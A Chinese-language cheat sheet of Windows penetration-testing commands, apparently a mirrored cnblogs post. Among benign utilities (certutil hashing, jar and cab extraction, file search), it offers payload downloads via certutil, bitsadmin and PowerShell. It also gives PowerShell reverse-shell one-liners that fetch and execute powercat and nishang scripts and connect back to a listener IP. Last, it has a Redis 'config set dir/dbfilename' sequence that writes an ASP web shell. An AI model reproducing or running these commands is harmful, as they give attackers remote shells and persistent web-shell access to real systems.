zoukankan      html  css  js  c++  java
  • windows实战常用命令

    windows实战常用命令

    jar 解压jar包

    jar -xvf xxx.jar : 默认解压到当前目录
    

    powershell调用curl

    powershell -c curl http://www.baidu.com -UseBasicParsing
    

    windows编为base64

    certutil --encode a.txt encode.txt
    certutil --decode encode.txt a.txt
    

    windows输出散列值

    certutil -hashfile 文件名 sha1/sha256/...
    

    windows 特殊符号转义

    利用`进行转义
    

    windows 下载文件

    #下载文件
    certutil -urlcache -split -f http://example.com/a.txt
    
    #下载文件并编码
    certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt
    
    #适用于windows 7以上版本
    bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
    
    powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')
    

    windows反弹shell

    #powershell反弹cmd,最好将github的下载地址替换为自己的vps
    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
    
    
    #powershell反弹powershell
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.203.140 -port 6666
    

    系统错误代码

    certutil -error 错误代码
    

    windows中的压缩/解压命令

    #压缩
    makecab e:/test.txt e:/test.zip
    #解压,文件夹必须存在
    expand e:/test.zip e:/test.txt
    expand -F:* test.zip E:\output\
    

    windowsw全局搜索文件

    for /r c:/ %i in (*flag*) do @echo %i
    dir C:\ /b/s "flag"
    

    redis写入文件

    config get dir
    config set dir /var/www/
    set aa "\n\n\n<%execute request('chopper')%>\n\n\n"
    config get dbfilename
    config set dbfilename aa.asp
    save
    
  • 相关阅读:
    TFS 2013”无法移除仍为团队管理员身份的标识”
    如何在TFS的过程模板中添加报表
    集成TFS Build生成与SonarQube获取代码分析结果
    TFS 2015 Update 2功能探索
    使用Azure Automation(自动化)定时关闭和启动虚拟机
    TFS 与活动目录AD(Active Directory)的同步机制
    Eclipse 常用快捷键
    JMeter网站并发性测试
    docker安装配置GitLab
    javaWeb项目在用maven启动时必须要用到的坐标
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/15650439.html
Copyright © 2011-2022 走看看